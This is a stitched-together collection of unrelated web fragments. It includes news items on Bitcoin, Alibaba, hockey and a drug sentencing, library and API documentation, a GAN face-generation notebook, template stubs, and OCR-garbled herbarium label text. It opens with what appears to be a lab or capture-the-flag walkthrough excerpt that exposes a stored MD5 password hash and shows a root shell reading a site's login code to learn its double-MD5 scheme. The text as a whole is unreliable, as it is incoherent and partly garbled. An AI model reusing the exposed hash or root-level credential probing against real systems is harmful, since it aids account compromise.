(6, 'password', '8a8e83876e81242bee8a620b2967dc33'),
(9, 'site_keywords', ''),
(8, 'visits', ''),
(7, 'last_login', ''),
(10, 'theme_name', 'default');
[...]
Looking at the ad-user.php file, it appears that passwords are double md5 encoded before being checked against the database.
root@Orcus:/var/www/html/Adem# cat ad-user.php
[...]
if(isset($_POST['password'])){
$return = [];
if(!empty($_POST['password'])){
$post_password = clearPOST($_POST['password']);
$passINDB = $loginDB->getSettingVal("password");
$passwordMD5 = md5(md5($post_password));
if($passwordMD5 == $passINDB){
[...]


The International Research Council (IRC) is a community created by the Sustainable Education Foundation (SEF) to showcase the work of Sri Lankan researchers. One of the main goals of IRC is to provide a digital platform to connect our community of researchers who are actively pursuing research projects in various fields all over the world.
| Name | University | View Blog Article | |
|---|---|---|---|
Submit your details via our online form or drop us an email at<EMAIL_ADDRESS>We look forward to hearing from you!
Sign Up


?6
7
8
9
10
copyright
reserved
The
New
York
Botanical
Garden
BOTANIC
GARDEN
HERBARIUM,
BARBADOS,
W.I.
.......7?.€f.................................f..........................
Locality....
!h4dM...f.t&<£.4..4^
.......
Collector..
...................................
Date................................................................................190.$.
01501005
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


| | |
- eigenmode
- genetic_search
- mode_search
- random_stack
- wavepacket
-
- incident_wp
class eigenmode |
| |
eigenmode supported by the input 1D stack
--- attribute list ---
'mtype' : <str> 'incident' or 'emission'
'omega' : <float> vacuum angular frequency
'stack' : <pointer> reference to a random_stack
'amplitudes' : <2D numpy array> [right,left] wave component amplitudes
differ from a_j,b_j in that this includes time phase factor |
| |
Methods defined here:
- __init__(self, mtype, lambda0, amp, stack)
- <constructor>: instantiate an eigenmode at wavelength 'lambda0'.
'amp' = a0 for mtype=incident, = aN for mtype=emission
- advance(self, duration)
- <void>: advance the field in time, by giving the proper phase factor
to all amplitudes.
- get_amplitude(self, j, component)
- <complex>: return the wave amplitude in the j'th layer (supports negative indexing)
- get_field(self, z, layer)
- <complex>: return the complex field amplitude at the given location
- get_frequency(self)
- <complex>: return the angular frequency
- get_intensities(self)
- <numpy array>: return the array of layer-integrated intensities
- get_intensity(self, j)
- <float>: calculate the total intensity of the field inside layer j
NOTE: rate exponential decay is already included in the amplitudes
(supports negative indexing)
- get_wavelength(self)
- <complex>: return the vacuum wavelength of the eigenmode
- get_wavevector(self, j)
- <complex>: return the wave vector in layer j
- plot_field(self, Ndata, filename='')
- <plot> plot the field of the eigenmode with 'Ndata' many points
- plot_intensities(self, filename='')
- <python plot>: plot intensities (end layer zero intensity)
- rescale(self, factor)
- <void>: rescale all amplitudes of the eigenmode by "factor"
(simple multiplcation is valid due to linear relationship
between amplitudes hence across layers)
|
class incident_wp(wavepacket) |
| |
class of wavepackets that are incident to the stack |
| |
Methods defined here:
- add_mode(self, lambda0, a0)
- <void>: add a new incident mode
NOTE: should be a private method, since self.modes
are not sorted when applying this alone
- add_packet(self, Nmodes, wlrange, type='gaussian', height=1.0)
- <void>: add an incident wavepacket equally-spaced in frequency
by default Gaussian-distributed with unit height, covering 'Nmodes' (>1)
within wavelength range [wlrange[0],wlrange[1]] (inclusive), centred
at spatial position z=0
- compute_inversion(self)
- get_1PIS(self, layer)
- "<2D numpy array>: return the 1photon spectrum at 'layer'
- get_2PS(self, z, label='nR')
- <2D array>: return the non-Raman ('nR') or Raman/Stokes ('R')
2-photon power spectrum at given location z
- inversion_at(self, layer, Nstep=100)
- plot_1PIS(self, layers, filename='')
- <plot>: plot the power spectrum of the incident eigenmodes at
incident ("i"), transmitted ("t") or reflected ("r") end sides; or plot the layer-
integrated power spectrum in non-end layer specificed by "locations" (int or int array).
- plot_field(self, Nphoton, Ndata, yrange=0.0, filename='')
- <plot>: plot the "Nphoton" field of the wave packet with Ndata many
points. Specify the y axis max range with a nonzero "yrange" input value
(yrange=0 for automatic range). the stack is plotted on the second y axis.
Methods inherited from wavepacket:
- __init__(self, stack)
- <constructor>: takes the stack pointer, creates empty array for modes
- advance(self, amount)
- <void>: advance the wavepacket forward in time by 'amount'
- apply_shaping(self, mask)
- get_field(self, z, layer)
- <complex>: return the total complex field at position
- get_size(self)
- <int>: return the number of modes already added
- get_wavelengths(self)
- <numpy array>: return the array of wavelengths included in the wavepacket
- sort_modes(self)
- <void>: sort self.modes in ascending order in frequency
|
class mode_search |
| |
object class for a search on the eigenmodes' spatial profiles
------ attribute list ------
"domain": <DataFrame> filtered modes |
| |
Methods defined here:
- __init__(self, stack, wlrange, Nmodes, threshold)
- <constructor>: initialize a new search, among 'Nmodes' many modes, in
wavlength range "wlrange", with transmission>'threshold'
- domain_size(self)
- <int>: return the number of modes in the domain
- get_wavelengths(self)
- <numpy array>: return the wavelength values of the filtered modes
- plot_features(self, xattr, yattr, filename='')
- <plot>: scatter-plot the specified attributes of the filtered mode
- plot_profiles(self, items, filename='')
- <plot>: plot the profiles in the 'items' array
- sort_with(self, attr, N=None)
- <void>: sort the first N items in the domain according to the attribute,
the column indices are rearranged to numeric sequence
|
class random_stack |
| |
object class of the stack consisting of arbitrary
dielectric layers with arbitrary length
--- attribute list ---
"layers": <DataFrame> representing the layers |
| |
Methods defined here:
- __init__(self, N, n0, n1, dL, L, dL1=None, L1=None)
- <constructor>: instantiate the stack. two default layers are:
0th layer has refractive index n0, at z0 = -10L,
1st layer has refractive index n1, at z1 = 0.
N>=2 (excluding layer 0) layers will be generated with alternating
refractive index and thickness, which is a uniform random variable
in [L-dL,L+dL], or [L1-dL1,L1+dL1]
- add_inversion(self, j, amount)
- <void>: add to the population inversion in layer j
(supports negative indexing)
- add_layer(self, z, refr)
- <void>: add new layer with specified location,refractive index
- clear_inversion(self)
- <void>: clear the population inversion in all layers to zero
- get_gainlayers(self)
- <int tuple>: return the array of indices of gain layers
- get_inversion(self, j)
- <float>: return the population inversion in layer j
- get_layerlength(self, j)
- <float>: return the length of layer j
- get_location(self, j)
- <float>: return the location of j'th layer (supports negative indexing)
- get_ranges(self, type)
- <2D array of floats>: return the set of pump ('p') or
lasing ('l') frequency ranges
- get_reflection(self, lambda0)
- <complex>: return the complex reflection amplitude at wavelength lambda0
- get_refr(self, i)
- <float>: return the refractive index of i'th layer
- get_stacksize(self)
- <int>: return the total number of layers including layer 0
- get_transmission(self, lambda0)
- <complex>: return the complex transmission amplitude at wavelength lambda0
- plot(self, show_inversion=False, inv_max=None, filename='')
- <python plot> plot the stack's refractive index and population inversion
as a function of location. input "filename" if the plot is to be saved,
pyplot.show() is called if left blank
- scan(self, property, wlrange, Ndata, filename='', figsize=(18, 5))
- <>: scan 'transmission' or 'reflection' in the specified range
of wavelengths, with "Ndata" many points.
- set_gainlayers(self, indices, prange, lrange)
- <void>: set layers numbered at 'indices' to gain layers with 'p/lrange'
- set_refr(self, i, nnew)
- <void>: change the refractive index of layer i to specified value
- which_layer(self, z)
- <int>: return the index of the layer in which the input location lies
|
class wavepacket |
| |
base class as a container for eigenmodes
--- attribute list ---
"stack" : <pointer> points to the random stack object
"modes" : <array> contains the eigenmodes |
| |
Methods defined here:
- __init__(self, stack)
- <constructor>: takes the stack pointer, creates empty array for modes
- advance(self, amount)
- <void>: advance the wavepacket forward in time by 'amount'
- apply_shaping(self, mask)
- get_field(self, z, layer)
- <complex>: return the total complex field at position
- get_size(self)
- <int>: return the number of modes already added
- get_wavelengths(self)
- <numpy array>: return the array of wavelengths included in the wavepacket
- sort_modes(self)
- <void>: sort self.modes in ascending order in frequency
| |


Pair programming is collaborating with another person on a project. There are several differernt ways to pair program, the model that is focused on in Dev Bootcamp is Driver/Navigator.
DBC is a collaborative model for training programmers which makes it a perfect place to use a pair prgramming model. To paraphrase Shereef; if we aren't all invested in this together, it won't be as awesome. OK. That is a terrible paraphrase, but the underlying point is that we are better and more effective developers if we work together.
By working collaboratively we help one another fill in 'blank spots' in our understanding while building trust.
Pair programming is useful in many ways. It can really help with the understanding of a subject, and allows you to practice working on a team. Also, many times having a second perspective on something can make fixing probelems happen faster and easier.


{% extends 'base.html' %} {% load crispy_forms_tags %} {% block content %}
The City of Spartanburg, SC is one of four cities selected from across the country, to receive up to one million dollars as part of the Bloomberg Philanthropies Public Art Challenge, a new program to support temporary public art projects that celebrate creativity, enhance urban identity, encourage public-private partnerships, and drive economic development. The City of Spartanburg is working with internationally renowned media-based artist Erwin Redl to create nine temporary public art installations across Spartanburg involving the participation of ten neighborhoods and Video Village is one of these installations.
Video Village involves the projection of short films (no longer than 5 minutes in duration) onto the second story windows of vacant housing units in the Highlands Neighborhood in Spartanburg, SC. These short films will be visible during the evening hours and programmed to run in sequence and loops. To learn more about this project click here
The Directors of Video Village are seeking short films in the following categories:
A panel of jurors includes professionals working in the visuals arts and film making industry, members of the Highlands Neighborhood Association and the City of Spartanburg. Selected participants will need to provide further information for this project including a brief biography, photograph of the director, etc. Selected participants will be notified via email or phone. Any questions regarding the submission process can be directed to Elizabeth Goddard, Executive Director of the Spartanburg Art Museum<PHONE_NUMBER> x.236 or egoddard@spartanarts.org


- Parameters
-
| list_serv_man | List in which the HpbServiceManager should be added. |
| service_key | Service key of the HpbServiceManager to be added. |
- Returns
- Returns a pointer to the added HpbServiceManager.
◆ hpb_list_service_managers_create()
Allocates space for a linked list of HpbServiceManager elements.
- Returns
- Returns a pointer to the created linked list or NULL if the space could not be allocated.
◆ hpb_list_service_managers_destroy()
Deallocates the space previously allocated for a linked list of HpbServiceManager elements.
- Parameters
-
| list_serv_man | Pointer to the pointer of the HpbServiceManager linked list to be deallocated. |
◆ hpb_list_service_managers_find()
Finds a given HpbServiceManager in a linked list.
- Parameters
-
| list_serv_man | List in which the HpbServiceManager should be searched. |
| service_key | Service key of the HpbServiceManager to be searched. |
- Returns
- Returns a pointer to the HpbServiceManager if the search is successful or NULL otherwise.
◆ hpb_list_service_managers_remove()
Removes an HpbServiceManager from a HpbServiceManagersList.
- Parameters
-
| list_serv_man | List from which the HpbServiceManager should be removed. |
| service_key | Service key of the HpbServiceManager to be removed. |
- Returns
- Returns >=0 if the HpbServiceManager was removed and <0 otherwise.


Bitcoin slides after China crackdown
LONDON Bitcoin slumped to a six-month low on Friday after China's central bank launched a fresh crackdown on cryptocurrencies, warning of the risks entailed in issuing or trading them.
Bitcoin, the world's biggest cryptocurrency, fell 9 per cent to US$6,929 (S$9,454), its lowest since May.
The People's Bank of China's (PBOC) Shanghai headquarters said it would tackle growing cases of illegality involving virtual currencies. It also cautioned investors not to confuse crypto with blockchain technology, the digital ledger that underpins many cryptocurrencies such as bitcoin.
The move came a day after regulators in Shenzhen launched a similar campaign, and came as the PBOC prepares to launch its own digital currency.
Chinese President Xi Jinping said last month that the world's second-biggest economy should accelerate the development of blockchain technology.
Mr Jamie Farquhar, portfolio manager at London-based crypto firm NKB Group, said the PBOC statement crystallised a growing sense among crypto investors that China's embrace of blockchain would be unlikely to include cryptocurrencies like bitcoin.
"It's the realisation that the positivity over Mr Xi's blockchain announcement was exaggerated," he said. - REUTERS


This demo supports directory navigation, file modification, entry copying (Drag & Drop), entry moving (ALT + Drag & Drop) and entry removal.


In this project, you'll use generative adversarial networks to generate new images of faces.
You'll be using two datasets in this project:
Since the celebA dataset is complex and you're doing GANs in a project for the first time, we want you to test your neural network on MNIST before CelebA. Running the GANs on MNIST will allow you to see how well your model trains sooner.
If you're using FloydHub, set data_dir
to "/input" and use the FloydHub data ID "R5KrjnANiKVhLWAkpXhNBe".
data_dir = './data'
#FloydHub - Use with data ID "R5KrjnANiKVhLWAkpXhNBe"
data_dir = '/input'
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
import helper
helper.download_extract('mnist', data_dir)
helper.download_extract('celeba', data_dir)
show_n_images = 25
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
%matplotlib inline
import os
from glob import glob
from matplotlib import pyplot
mnist_images = helper.get_batch(glob(os.path.join(data_dir, 'mnist/*.jpg'))[:show_n_images], 28, 28, 'L')
pyplot.imshow(helper.images_square_grid(mnist_images, 'L'), cmap='gray')
The CelebFaces Attributes Dataset (CelebA) dataset contains over 200,000 celebrity images with annotations. Since you're going to be generating faces, you won't need the annotations. You can view the first number of examples by changing show_n_images
.
show_n_images = 25
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
mnist_images = helper.get_batch(glob(os.path.join(data_dir, 'img_align_celeba/*.jpg'))[:show_n_images], 28, 28, 'RGB')
pyplot.imshow(helper.images_square_grid(mnist_images, 'RGB'))
Since the project's main focus is on building the GANs, we'll preprocess the data for you. The values of the MNIST and CelebA dataset will be in the range of -0.5 to 0.5 of 28x28 dimensional images. The CelebA images will be cropped to remove parts of the image that don't include a face, then resized down to 28x28.

You'll build the components necessary to build a GANs by implementing the following functions below:
model_inputs
discriminator
generator
model_loss
model_opt
train
This will check to make sure you have the correct version of TensorFlow and access to a GPU
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
from distutils.version import LooseVersion
import warnings
import tensorflow as tf
# Check TensorFlow Version
assert LooseVersion(tf.__version__) >= LooseVersion('1.0'), 'Please use TensorFlow version 1.0 or newer. You are using {}'.format(tf.__version__)
print('TensorFlow Version: {}'.format(tf.__version__))
# Check for a GPU
if not tf.test.gpu_device_name():
warnings.warn('No GPU found. Please use a GPU to train your neural network.')
else:
print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))
Implement the model_inputs
function to create TF Placeholders for the Neural Network. It should create the following placeholders:
image_width
, image_height
, and image_channels
.z_dim
.Return the placeholders in the following the tuple (tensor of real input images, tensor of z data)
import problem_unittests as tests
def model_inputs(image_width, image_height, image_channels, z_dim):
"""
Create the model inputs
:param image_width: The input image width
:param image_height: The input image height
:param image_channels: The number of image channels
:param z_dim: The dimension of Z
:return: Tuple of (tensor of real input images, tensor of z data, learning rate)
"""
# TODO: Implement Function
input_image=tf.placeholder(tf.float32,[None,image_width,image_height,image_channels],name="input_real")
Z_input=tf.placeholder(tf.float32,[None,z_dim],name="input_z")
learning_rate=tf.placeholder(tf.float32,name="learning_rate")
return (input_image,Z_input,learning_rate)
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_model_inputs(model_inputs)
Implement discriminator
to create a discriminator neural network that discriminates on images
. This function should be able to reuse the variabes in the neural network. Use tf.variable_scope
with a scope name of "discriminator" to allow the variables to be reused. The function should return a tuple of (tensor output of the generator, tensor logits of the generator).
def discriminator(images, reuse=False):
"""
Create the discriminator network
:param image: Tensor of input image(s)
:param reuse: Boolean if the weights should be reused
:return: Tuple of (tensor output of the discriminator, tensor logits of the discriminator)
"""
with tf.variable_scope("discriminator", reuse = reuse):
alpha=0.2
layer1 = tf.layers.conv2d(images, 128, 5, strides=2, padding='same', kernel_initializer=tf.random_normal_initializer(stddev=0.05))
norm1 = tf.layers.batch_normalization(layer1, training=True)
relu1 = tf.maximum(alpha * norm1, norm1)
#16x16x128
layer2 = tf.layers.conv2d(relu1, 256, 5, strides=2, padding='same', kernel_initializer=tf.random_normal_initializer(stddev=0.05))
norm2 = tf.layers.batch_normalization(layer2, training=True)
relu2 = tf.maximum(alpha * norm2, norm2)
#8x8x256
layer3 = tf.layers.conv2d(relu2, 512, 5, strides=2, padding='same', kernel_initializer=tf.random_normal_initializer(stddev=0.05))
norm3 = tf.layers.batch_normalization(layer3, training=True)
relu3 = tf.maximum(alpha * norm3, norm3)
#4x4x512
flat = tf.contrib.layers.flatten(relu3)
logits = tf.layers.dense(flat, 1)
out = tf.sigmoid(logits)
return (out, logits)
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_discriminator(discriminator, tf)
Implement generator
to generate an image using z
. This function should be able to reuse the variabes in the neural network. Use tf.variable_scope
with a scope name of "generator" to allow the variables to be reused. The function should return the generated 28 x 28 x out_channel_dim
images.
def generator(z, out_channel_dim, is_train=True):
"""
Create the generator network
:param z: Input z
:param out_channel_dim: The number of channels in the output image
:param is_train: Boolean if generator is being used for training
:return: The tensor output of the generator
"""
# TODO: Implement Function
reuse = not is_train
alpha=0.1
with tf.variable_scope('generator', reuse = reuse):
#Fully connected layer
layer1 = tf.layers.dense(z, 7 * 7 * 512)
#Reshape the fully connected layer to start the convolutional stack
layer1 = tf.reshape(layer1, (-1, 7, 7, 512))
layer1 = tf.layers.batch_normalization(layer1, training = is_train)
layer1 = tf.maximum(alpha*layer1, layer1)
# 7x7x512 now
layer2 = tf.layers.conv2d_transpose(layer1, 256, 5, strides = 2, padding = 'same')
layer2 = tf.layers.batch_normalization(layer2, training = is_train)
layer2 = tf.maximum(alpha*layer2, layer2)
# 14x14x256 now
layer3 = tf.layers.conv2d_transpose(layer2, 128, 5, strides=2, padding='same')
layer3 = tf.layers.batch_normalization(layer3, training = is_train)
layer3 = tf.maximum(alpha * layer3, layer3)
# 28x28x128 now
# Output layer
logits = tf.layers.conv2d_transpose(layer3, out_channel_dim, 5, strides=1, padding='same')
# 28x28x3 now
out = tf.tanh(logits)
return out
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_generator(generator, tf)
Implement model_loss
to build the GANs for training and calculate the loss. The function should return a tuple of (discriminator loss, generator loss). Use the following functions you implemented:
discriminator(images, reuse=False)
generator(z, out_channel_dim, is_train=True)
def model_loss(input_real, input_z, out_channel_dim):
"""
Get the loss for the discriminator and generator
:param input_real: Images from the real dataset
:param input_z: Z input
:param out_channel_dim: The number of channels in the output image
:return: A tuple of (discriminator loss, generator loss)
"""
# TODO: Implement Function
smooth = 0.1
g_model = generator(input_z, out_channel_dim)
d_model_real, d_logits_real = discriminator(input_real)
d_model_fake, d_logits_fake = discriminator(g_model, reuse = True)
d_loss_real = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(logits = d_logits_real,labels = tf.ones_like(d_model_real) * (1 - smooth)))
d_loss_fake = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(logits=d_logits_fake, labels=tf.zeros_like(d_model_fake)))
g_loss = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(logits=d_logits_fake, labels=tf.ones_like(d_model_fake)))
d_loss = d_loss_real + d_loss_fake
return d_loss, g_loss
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_model_loss(model_loss)
Implement model_opt
to create the optimization operations for the GANs. Use tf.trainable_variables
to get all the trainable variables. Filter the variables with names that are in the discriminator and generator scope names. The function should return a tuple of (discriminator training operation, generator training operation).
def model_opt(d_loss, g_loss, learning_rate, beta1):
"""
Get optimization operations
:param d_loss: Discriminator loss Tensor
:param g_loss: Generator loss Tensor
:param learning_rate: Learning Rate Placeholder
:param beta1: The exponential decay rate for the 1st moment in the optimizer
:return: A tuple of (discriminator training operation, generator training operation)
"""
# TODO: Implement Function
t_vars = tf.trainable_variables()
d_vars = [var for var in t_vars if var.name.startswith('discriminator')]
g_vars = [var for var in t_vars if var.name.startswith('generator')]
#Optimize
d_train_opt = tf.train.AdamOptimizer(learning_rate, beta1 = beta1).minimize(d_loss, var_list=d_vars)
# Tell TensorFlow to update the population statistics while training
with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):
g_train_opt = tf.train.AdamOptimizer(learning_rate, beta1=beta1).minimize(g_loss, var_list=g_vars)
return (d_train_opt, g_train_opt)
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_model_opt(model_opt, tf)
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
import numpy as np
def show_generator_output(sess, n_images, input_z, out_channel_dim, image_mode):
"""
Show example output for the generator
:param sess: TensorFlow session
:param n_images: Number of Images to display
:param input_z: Input Z Tensor
:param out_channel_dim: The number of channels in the output image
:param image_mode: The mode to use for images ("RGB" or "L")
"""
cmap = None if image_mode == 'RGB' else 'gray'
z_dim = input_z.get_shape().as_list()[-1]
example_z = np.random.uniform(-1, 1, size=[n_images, z_dim])
samples = sess.run(
generator(input_z, out_channel_dim, False),
feed_dict={input_z: example_z})
images_grid = helper.images_square_grid(samples, image_mode)
pyplot.imshow(images_grid, cmap=cmap)
pyplot.show()
Implement train
to build and train the GANs. Use the following functions you implemented:
model_inputs(image_width, image_height, image_channels, z_dim)
model_loss(input_real, input_z, out_channel_dim)
model_opt(d_loss, g_loss, learning_rate, beta1)
Use the show_generator_output
to show generator
output while you train. Running show_generator_output
for every batch will drastically increase training time and increase the size of the notebook. It's recommended to print the generator
output every 100 batches.
def train(epoch_count, batch_size, z_dim, learning_rate, beta1, get_batches, data_shape, data_image_mode):
"""
Train the GAN
:param epoch_count: Number of epochs
:param batch_size: Batch Size
:param z_dim: Z dimension
:param learning_rate: Learning Rate
:param beta1: The exponential decay rate for the 1st moment in the optimizer
:param get_batches: Function to get batches
:param data_shape: Shape of the data
:param data_image_mode: The image mode to use for images ("RGB" or "L")
"""
# TODO: Build Model
steps = 0
_, image_width, image_height, image_channels = data_shape
input_real, input_z, lr = model_inputs(image_width, image_height,image_channels, z_dim)
d_loss, g_loss = model_loss(input_real, input_z,image_channels)
d_opt, g_opt = model_opt(d_loss, g_loss, lr, beta1)
is_train = tf.placeholder(tf.bool)
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
for epoch_i in range(epoch_count):
for batch_images in get_batches(batch_size):
# TODO: Train Model
steps += 1
batch_images = batch_images * 2
# Sample random noise for G
batch_z = np.random.uniform(-1, 1, size=(batch_size, z_dim))
# Run optimizers
_ = sess.run(d_opt, feed_dict={input_real: batch_images, input_z: batch_z, lr:learning_rate})
#_ = sess.run(g_opt, feed_dict={input_z: batch_z, lr:learning_rate})
_ = sess.run(g_opt, feed_dict={input_real: batch_images, input_z: batch_z, lr:learning_rate,is_train:True})
_ = sess.run(g_opt, feed_dict={input_real: batch_images, input_z: batch_z, lr:learning_rate,is_train:False})
if steps % 10 == 0:
# At the end of each epoch, get the losses and print them out
train_loss_d = d_loss.eval({input_z: batch_z, input_real: batch_images})
train_loss_g = g_loss.eval({input_z: batch_z})
print("Epoch {}/{}...".format(epoch_i+1, epoch_count),
"Discriminator Loss: {:.4f}...".format(train_loss_d),
"Generator Loss: {:.4f}".format(train_loss_g))
if steps % 100 == 0:
#Print the current image
show_generator_output(sess, 50, input_z, image_channels, data_image_mode)
Test your GANs architecture on MNIST. After 2 epochs, the GANs should be able to generate images that look like handwritten digits. Make sure the loss of the generator is lower than the loss of the discriminator or close to 0.
batch_size = 64
z_dim = 100
learning_rate = 0.0002
beta1 = 0.5
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
epochs = 2
mnist_dataset = helper.Dataset('mnist', glob(os.path.join(data_dir, 'mnist/*.jpg')))
with tf.Graph().as_default():
train(epochs, batch_size, z_dim, learning_rate, beta1, mnist_dataset.get_batches,
mnist_dataset.shape, mnist_dataset.image_mode)
Run your GANs on CelebA. It will take around 20 minutes on the average GPU to run one epoch. You can run the whole epoch or stop when it starts to generate realistic faces.
batch_size = 64
z_dim = 100
learning_rate = 0.001
beta1 = 0.5
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
epochs = 1
celeba_dataset = helper.Dataset('celeba', glob(os.path.join(data_dir, 'img_align_celeba/*.jpg')))
with tf.Graph().as_default():
train(epochs, batch_size, z_dim, learning_rate, beta1, celeba_dataset.get_batches,
celeba_dataset.shape, celeba_dataset.image_mode)
When submitting this project, make sure to run all the cells before saving the notebook. Save the notebook file as "dlnd_face_generation.ipynb" and save it as a HTML file under "File" -> "Download as". Include the "helper.py" and "problem_unittests.py" files in your submission.


Plover man sentenced to seven years in federal prison for meth distribution
by Logan RudeMADISON, Wis. - A 36-year-old Plover man was sentenced to seven years in federal prison Wednesday for possessing methamphetamine with intent to distribute, according to a news release.
Corey Scheerenberger pleaded guilty on Aug. 15, the release said.
Law enforcement officers found roughly 240 grams of meth, five guns, large amounts of cash, drug packaging materials and paraphernalia and other drugs at Scheerenberger's home when they executed a search warrant on Sept. 27, 2018, according to the release. Officials said a further investigation revealed that Scheerenberger's meth distribution involved at least 680 grams of meth over the past few years.
When he was arrested, Scheerenberger was on probation out of California for possessing a controlled substance and out of Wisconsin for disorderly conduct, the release said.
U.S. District Judge James Peterson said the scale of Scheerenberger's meth distribution was indicative of a "drug lifestyle."
According to the release, the investigation that led to charges against Scheerenberger was conducted by the Central Wisconsin Drug Task Force, the Portage County Sheriff's Office and the Plover and Stevens Point police departments.


This game will find out if you are a real windows user.
 Let's see how fast you can do it!
Close the tabs as fast as you can. They'll span faster and faster at every second.
If you let more than 10 of them open at the same time, you lose.
Play in full-screen mode for deeper imersion.
Microsoft❮R❯ Windows DOS ❮C❯ Copyright Microsoft Corp 1990-2001.
C:\WINDOWS\SYSTEM32>
You're an XP Windows user!
This code belongs to @nydndr and this visual belongs to @botoxparty CSS library.


{% extends "base.html" %} {% block title %}COMET Home{% endblock %} {% block content %}
Analyzing SNPs through protein-protein interactions.
Pahari, S., Li, G., Murthy, A. K., Liang, S., Fragoza, R., Yu, H., & Alexov, E. (2020). SAAMBE-3D: Predicting Effect of Mutations on Protein–Protein Interactions. International journal of molecular sciences, 21(7), 2563.
SAAMBE Website LinkCapriotti, E., Fariselli, P., & Casadio, R. (2005). I-Mutant2.0: predicting stability changes upon mutation from the protein sequence or structure. Nucleic acids research, 33, W306 - W310.
I-Mutant2.0 Website LinkAbbasi, W. A.; Abbas, S. A.; Andleeb, S. PANDA: Predicting the Change in Proteins Binding Affinity upon Mutations Using Sequence Information. ArXiv200908869 Cs Q-Bio Stat 2020.
PANDA GitHub LinkAmengual-Rigo, P., Fernández-Recio, J., & Guallar, V. (2020). UEP: an open-source and fast classifier for predicting the impact of mutations in protein–protein complexes. Bioinformatics.
UEP GitHub LinkObtaining SNP information
NCBI's E-utilities Link


Basic demo
1
2
3
[[index]]
init
destroy
PREVIOUS
NEXT
Methods demo
Check the source code for more
Change selected cell styles
Free scroll demo
1
2
3
4


Pageau lifts Senators past Kings in OT
OTTAWA, Ontario (AP) - The Ottawa Senators overcame a late tying goal for an encouraging victory.
Jean-Gabriel Pageau scored 3:12 into overtime to give Ottawa a 3-2 victory over the Los Angeles Kings on Thursday night.
After Tyler Toffoli tied it for Los Angeles with 8 seconds left in regulation, Pageau scored off his own rebound for his team-leading seventh goal of the season.
“We’re starting to build something here,” Pageau said. “I think we played a solid game overall. Slow start at the beginning but after that I think we took over.”
Anthony Duclair and Artem Anisimov also scored for Ottawa, and Anders Nilsson made 30 saves.
“We found a way to win, so I’m happy,” Ottawa coach D.J. Smith said.
Dustin Brown also scored for the Kings, and Jack Campbell made 25 saves.
“I don’t think anybody in this room wants to be playing to lose,” Toffoli said. “We’re playing to win games and we’re frustrated,” he said. “We want to be winning games and that’s a big point we all wish we could have had.”
NOTES: Jonathan Davidsson made his NHL debut for Ottawa after being called up from the AHL’s Belleville Senators. … Trevor Lewis left the game for the Kings midway through the second with a lower-body injury. He didn’t return. … Ottawa said before the game that forward Colin White has been assigned to Belleville after being out since Oct. 23. He’ll be on a conditioning stint while recovering from a hip flexor/groin injury. … The attendance was 9,929.
UP NEXT
Kings: At Montreal on Saturday night.
Senators: Host Carolina on Saturday night.
More AP NHL: https://apnews.com/NHL and https://twitter.com/AP_Sports
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


{% extends "layout.html" %} {% load humanize %} {% block title %} Request secret units {% endblock title %} {% block layout-content %}
Normally, secret units are automatically added to your curriculum once you have reached a sufficiently high level, at a difficulty chosen based on your other units.
You can use this form to manually request a secret unit if this didn't happen or if you want a different difficulty level. This won't unlock the unit, but it'll make it visible so you can submit a unit petition to unlock it or indicate it as the next unlock of a submitted unit.


has agreed to give you a ride whose license no. is and will be with you in approximately 10 minutes. You can reach him / her at


Home
About
Coronavirus/COVID-19 cases in
the US
Refresh
The
SARS-CoV-2 virus
, commonly called the
Coronavirus
, is a rapidly spreading virus. It ...
Made using
Matplotlib


Alibaba opens bookbuild for Hong Kong listing: sources
HONG KONG (Reuters) - Chinese e-commerce giant Alibaba Group has opened the trading books for its $13.4 billion Hong Kong listing, two sources with direct knowledge of the process told Reuters on Wednesday.
The institutional bookbuild will run for a week and the stock is expected to be priced on around Nov. 20, they said.
The people could not be named because the information has not yet been made public. Alibaba stock is due to start trading the week of November 25.


|
mbed TLS v2.16.11
|
This file contains SHA-224 and SHA-256 definitions and functions. More...
Go to the source code of this file.
Data Structures | |
| struct | mbedtls_sha256_context |
| The SHA-256 context structure. More... | |
Macros | |
| #define | MBEDTLS_ERR_SHA256_HW_ACCEL_FAILED -0x0037 |
| #define | MBEDTLS_ERR_SHA256_BAD_INPUT_DATA -0x0074 |
| #define | MBEDTLS_DEPRECATED |
| #define | MBEDTLS_DEPRECATED |
Typedefs | |
| typedef struct mbedtls_sha256_context | mbedtls_sha256_context |
| The SHA-256 context structure. More... | |
Functions | |
| void | mbedtls_sha256_init (mbedtls_sha256_context *ctx) |
| This function initializes a SHA-256 context. More... | |
| void | mbedtls_sha256_free (mbedtls_sha256_context *ctx) |
| This function clears a SHA-256 context. More... | |
| void | mbedtls_sha256_clone (mbedtls_sha256_context *dst, const mbedtls_sha256_context *src) |
| This function clones the state of a SHA-256 context. More... | |
| int | mbedtls_sha256_starts_ret (mbedtls_sha256_context *ctx, int is224) |
| This function starts a SHA-224 or SHA-256 checksum calculation. More... | |
| int | mbedtls_sha256_update_ret (mbedtls_sha256_context *ctx, const unsigned char *input, size_t ilen) |
| This function feeds an input buffer into an ongoing SHA-256 checksum calculation. More... | |
| int | mbedtls_sha256_finish_ret (mbedtls_sha256_context *ctx, unsigned char output[32]) |
